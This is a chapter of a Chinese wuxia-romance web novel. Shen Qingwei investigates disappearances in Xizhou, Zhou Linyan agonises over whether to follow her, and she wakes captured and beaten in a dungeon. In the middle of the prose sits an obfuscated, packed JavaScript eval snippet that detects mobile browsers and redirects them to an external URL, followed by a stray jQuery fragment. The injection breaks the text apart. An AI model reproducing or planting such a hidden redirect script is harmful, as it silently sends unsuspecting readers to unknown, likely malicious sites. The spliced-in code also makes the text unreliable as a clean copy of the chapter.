郑屠户接下来的一番话却出乎沈晴微意料。
据他所说,祁大师在玺州这几年帮助百姓做了许多善事。郑屠户原本与他并不认识。一次机缘巧合之下,祁大师救过他,两人就此相识。
郑屠户不是玺州本地人,是被仇敌追杀不得已隐姓埋名定居此地。
后来,仇敌发现了他来到玺州。
在祁大师的“设计”下,他才能顺利将女儿送走。
但为了骗过仇敌,他身受重伤制造身亡的假象,将仇敌骗走了。
这才有了今天祁大师来探望他的事。
“姑娘,若你信我,不凡听我一句劝——
“祁大师,他绝非恶人。虽然他算命的本事可能也没多好,但他救过玺州,也帮过许多百姓。”
“救过玺州?”一个算命先生,有什么能耐救一座城?
郑屠户见她一脸不相信的样子,遂仔细解释道:“姑娘你别不信——你可听闻城中的传言?”
沈晴微不露声色地暗喜:传言?莫非是天助我也?这就好办了。让她略施小计来套话!
沈晴微故作为难的样子:“可是……传言终究只是传言,不可信呐。”
见她不相信,郑屠户一下子就急了:“不是!你先听我说。其他人不知情,我却是亲眼所见。”
于是,他压低声音,极其神秘地讲述:“今年年初——怪事还没发生的时候,一天夜里我上山砍柴,在山上看见了十几具尸体。
“他们面目狰狞,死相可怖,就像是……被鬼所害,中了邪一样。我当时吓坏了,没敢声张就逃下山,一脸做了几天噩梦。后来夜里,城中频频有人失踪。还没半个月,就有三十多个人不见了。这些人都是夜里消失的。
“后来,才有了传言。祁大师得知后,那是忙前忙后,又驱邪又安魂的。他告诉大家,只要夜里不出门,就不会有事。城中本人心惶惶,有了他的一番话大家才勉强放下心来。此后,就再也没有人消失。”
沈晴微眉头微蹙:这故事听着怎么像是说书人的以讹传讹呢?
夜里才会出事,大家夜里就不出门,那自然不会有人再失踪了。不过,在百姓看来,原本不知道什么时候就会有危险。祁大师的言行确实能安定人心。
不过,“救了一座城”显然是夸张说法。
沈晴微倒是想起一件事——
昨夜她也出门了,怎么就没被抓走?
难道是因为她太过小心,而且走的路本就没什么人经过?
向郑屠户道谢后,沈晴微赶紧回到客栈。
隔壁房里没有人——周临言还没有回来。
沈晴微留了个字条,叫店里的小厮转交给周临言。擦好剑,她就出发了。
不管是什么龙潭虎穴,她都要闯一闯。
她倒要看看:是何方神圣胆敢装神弄鬼、搅乱太平?
至于周临言,她当然不会放弃这个获得他信任的好机会。
无论今晚她是成是败,只要她能苟着一条命,她都不亏。
毕竟是他先下毒的,那也怪不了自己算计他。
好戏即将开幕。
就算前路艰险,就算龙潭虎穴,她小心些,总能捡回一条命。
黄昏时候。
周临言风尘仆仆赶回客栈时,没有看到沈晴微。想起她肩上的伤,他莫名心烦,将客栈里里外外找了个遍——都没找到沈晴微的身影。
想起她白天说的话,他猜也猜到她去哪儿了。
平时倒是会耍小聪明,现在怎么这么实诚?他叫她一个人完成任务她就真的不顾生死去冒险了?!
今日,他忙得焦头烂额时还担心她的安危——真怕她一个人单枪匹马就要去冒险,追寻连徐碾都无能为力的真相。
胆子有够大的。
明明还有伤在身,不知被什么绊住脚,在玺州总是一副魂不守舍的样子。她那是去查案子吗?分明是去送死!
仗着自己的武功和小聪明,妄图以一己之力完成那么多人都不能做到的事情。
太自大。
她想找死那就去呗——周临言本来是这么安慰自己的。
可偏偏,想起了她的那些花言巧语。
她答应要请他看一出戏的。她还没做到,怎么就敢死?
就当是为了那出戏吧。
他派人捎口信,叫她日落之前先回客栈,其他事情再说。他知道,她不会轻易服输。所以他也给特意交代传话之人——如果她不回,就编个借口把她先骗回去,给她找点事做。
可结果呢,她倒好!孤注一掷、我行我素!冥顽不灵!
也不怕真的出事。
辜负他的一番好意。
“主上,那个女人死了不是正好?死因合适,不会有人起疑,更不会有人怀疑到您头上。她死了,霄定阁少了一名猛将,实力总归有所削弱。更重要的是,无论霄定阁阁主派她到离澈山做什么,她都无法完成使命。这是上天助主上一臂之力,岂不是正好?”川暮觉得这是好事一桩,天赐我也。
周临言摇摇头:“没那么简单”
他语气平和,眉心却早已拧成一团,像起伏的山丘。
川暮在他身边这么久,听出来他的意思。虽然他不明白为什么主上放着这样一条大好的捷径不走,但他清楚主上的态度——主上不愿他过问此事,更不希望看到自己左右主上的决定。
主上对那个女人很在意!
“是属下多嘴了,主上自有主上的考量。”
周临言看着一片漆黑的窗外,脑海里不由地想起昨夜雨中,她脸上的泪痕。
“周临言,我也是人。”
她的声音在他耳边回荡,像是雨的呢喃,驱之不散。
是啊,她也是人,肉体凡胎。
即使武功厉害,她也会有害怕的时候。
即使敢拼上一切,她也会有不安之时。
她选择赌,恰恰是因为没有退路。
一直以来,是他太高估她了,理所当然觉得她和自己是一类人。
可她与他,终究是不同的。
毕竟,她是个为了报恩不惜赌上性命也要护住她的阁主。即便她知道,生机渺茫,她还是会选择义无反顾地陪他去鼎松山送死。
那样一个重情重义的人,和自己这种冷血之人怎么可能会一样呢?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15195470|165639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“主上,那接下来……”川暮惴惴不安地试探道。
“这件事与你们无关,你们继续按照我交代的去做就好。”
周临言深吸一口气。
“那您……”
“在她身上我花了那么多心思,若是这把刀没能为我所用的时候就被折断,我的心血岂不是付诸东流?”周临言下定了决心。
她都不怕,他有什么好怕的?
大不了,两个人一起落荒而逃。
“主上,这可使不得啊!”川暮闻言直接下跪,苦苦相谏,“您若出什么意外,属下难辞其咎!”
“我自己做的决定,和你有什么关系?我如果真出什么意外,你正好换个主子。”
周临言拿起一旁的剑,正要下楼。
却撞上店小二敲门。
“这位客官,这是和您一起来的那位客官托我转交给您的。”
周临言打开纸条。
“在查案,一切尽在掌握之中,勿念勿寻。”
“这个女人也太自以为是了吧。谁念她了?谁寻她了?”川暮小声地嘀咕。
谁念她了?谁寻她了?
周临言冷眼凝视他,眼神阴森得像是想要杀了他。
“最近你很闲啊。”
周临言咬牙切齿。
“不不不,属下这就去干活!”
耳根再度清静。
清静到他都可以听见自己的心跳声。
其实川暮说的没错。从利益得失来看,沈晴微如果在玺州出意外,对他是有利的。她是宿弥的心腹,她死了,对自己反而有利。
可是,他的心里为什么会这么不安呢?
难道是因为她还没有为自己所用,而他花了这么多心思在试探上,他觉得自己吃亏了?
理智告诉他,他应该当作什么都没发生一样作壁上观。可是,他心里好像有一个声音在抗拒——抗拒着无动于衷的自己,叫嚣着不安与……担心。
她毕竟有伤在身。
更何况,她已经打算为自己献上忠心了吧?
他不能袖手旁观,眼睁睁地看着她去冒险。而且,本来就是他们两个人的任务,不是吗?
周临言握紧手中的剑,还是想要去找。
沈晴微,希望你说到做到,是真心为我做事的。
*
在一处阴森的地牢里,沈晴微被绑在架子上。
她被一盆水泼醒。
昔日的不羁全然褪去,留下的是苍白的嘴唇和一身的伤痕。
黑色的衣衫上被刀划了许许多多道口子。
伤口的血淌出来,黏在衣服上,看着尤为狼狈。
“你终于醒了。”眼前有一个男人居高临下地看着她,“影雪,你也有今天啊。”
“是你。”沈晴微不屑地一笑,嘴角的伤口却被牵扯得出血,“你还活着啊。”
真是撞鬼了。再见这个恶心的东西竟然是在玺州。
“你别激我。这招对我来说已经不管用了——我还想让你多活几天呢。”廷项手上拿着一条黑乎乎的鞭子,不怀好意地对着空气抽几下,“这样我才能多折磨你几天,以解我心头之恨。”